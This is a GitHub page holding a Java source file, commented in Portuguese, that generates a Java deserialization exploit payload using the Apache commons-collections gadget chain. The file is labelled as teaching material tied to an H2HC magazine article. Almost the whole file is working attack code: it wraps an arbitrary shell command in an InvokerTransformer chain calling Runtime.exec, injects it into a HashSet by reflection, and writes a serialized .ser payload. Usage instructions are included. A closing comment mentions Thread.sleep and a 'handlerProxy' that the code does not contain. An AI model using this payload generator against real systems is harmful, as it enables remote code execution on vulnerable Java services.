-
Notifications
You must be signed in to change notification settings - Fork 117
/
Copy pathExampleCommonsCollections1WithHashMap.java
145 lines (129 loc) · 6.35 KB
/
ExampleCommonsCollections1WithHashMap.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
/**
* Gera payload que leva a execução de código durante a desserialização.
* São usados os gadgets LayzMap, InvokerTransformer, ConstantTransformer e
* ChainedTransformer, da commons-collections e a AnnotationInvocationHandler,
* do JRE, como trigger gadget.
* Essa versão usa um HashMap + TiedMapEntry como trigger (propostos por Matthias Kaiser)
*
* -----------------------------------------------------------------------
* * Mais detalhes na 12a edição da H2HC (hackers to hackers) magazine:
* * https://www.h2hc.com.br/revista/
* -----------------------------------------------------------------------
*
* OBS: Esse código tem fins apenas didáticos. Algumas cadeias de
* transformers são baseadas nas versões de Chris Frohoff e/ou Matthias Kaiser
*
**** USAGE ****
*
* Compilando:
* $ javac -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1WithHashMap.java
*
* Executando
* $ java -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1WithHashMap 'touch /tmp/h2hc_2017'
*
* @author @joaomatosf
*/
public class ExampleCommonsCollections1WithHashMap {
@SuppressWarnings ( {"unchecked"} )
public static void main(String[] args)
throws ClassNotFoundException, NoSuchMethodException, InstantiationException,
IllegalAccessException, IllegalArgumentException, InvocationTargetException, IOException, NoSuchFieldException {
// Verifica se o usuário forneceu o comando a ser executado
if (args.length != 1) {
System.out.println("Invalid params! \n" +
"Example usage: java ExampleCommonsCollections1 \"touch /tmp/test\"");
System.exit(1);
}
// Seleciona o interpretador correto de acordo com o comando a ser executado
//boolean isUnix = System.getProperty("file.separator").equals("/");
boolean isUnix = !args[0].contains("cmd.exe") && !args[0].contains("powershell.exe");
String cmd[];
if (isUnix)
cmd = new String[]{"/bin/bash", "-c", args[0]}; // Comando a ser executado
else
cmd = new String[]{"cmd.exe", "/c", args[0]}; // Comando a ser executado
// Cria array de transformers que resulta na seguinte construção:
//((Runtime)Runtime.class.getMethod("getRuntime", new Class[0]).invoke(null, new Object[0])).exec(cmd[]);
Transformer[] transformers = new Transformer[] {
// retorna Class Runtime.class
new ConstantTransformer(Runtime.class),
// 1o. Objeto InvokerTransformer: .getMethod("getRuntime", new Class[0])
new InvokerTransformer(
"getMethod", // invoca método getMethod
( new Class[] {String.class, Class[].class } ),// tipos dos parâmetros: (String, Class[])
( new Object[] {"getRuntime", new Class[0] } ) // parâmetros: (getRuntime, Class[0])
),
// 2o. Objeto InvokerTransformer: .invoke(null, new Object[0])
new InvokerTransformer(
"invoke", // invoca método: invoke
(new Class[] {Object.class, Object[].class }),// tipos dos parâmetros: (Object.class, Object[])
(new Object[] {null, new Object[0] }) // parâmetros: (null, new Object[0])
),
// 3o. Objeto InvokerTransformer: .exec(cmd[])
new InvokerTransformer(
"exec", // invoca método: exec
new Class[] { String[].class }, // tipos dos parâmetros: (String[])
new Object[]{ cmd } ) // parâmetros: (cmd[])
};
// Cria o objeto ChainedTransformer com o array de Transformers:
Transformer transformerChain = new ChainedTransformer(transformers);
// Cria o map
Map map1 = new HashMap();
// Decora o map com o LazyMap e a cadeia de transformações como factory
Map lazyMap = LazyMap.decorate(map1,transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
HashSet map = new HashSet(1);
map.add("foo");
Field f = null;
try {
f = HashSet.class.getDeclaredField("map");
} catch (NoSuchFieldException e) {
f = HashSet.class.getDeclaredField("backingMap");
}
f.setAccessible(true);
HashMap innimpl = (HashMap) f.get(map);
Field f2 = null;
try {
f2 = HashMap.class.getDeclaredField("table");
} catch (NoSuchFieldException e) {
f2 = HashMap.class.getDeclaredField("elementData");
}
f2.setAccessible(true);
Object[] array = (Object[]) f2.get(innimpl);
Object node = array[0];
if(node == null){
node = array[1];
}
Field keyField = null;
try{
keyField = node.getClass().getDeclaredField("key");
}catch(Exception e){
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}
keyField.setAccessible(true);
keyField.set(node, entry);
// Serializa o objeto "handlerProxy" e o salva em arquivo. Ao ser desserializado,
// o readObject irá executar um map.entrySet() e, assim, desviar o fluxo para o invoke().
// No invoke(), uma chave inexistente será buscada no campo "memberValues" (que contém um LazyMap
// com a cadeia de Transformers), o que deverá acionar o Thread.sleep(10000)!
System.out.println("Saving serialized object in ExampleCommonsCollections1WithHashMap.ser");
FileOutputStream fos = new FileOutputStream("ExampleCommonsCollections1WithHashMap.ser");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(map);
oos.flush();
}
}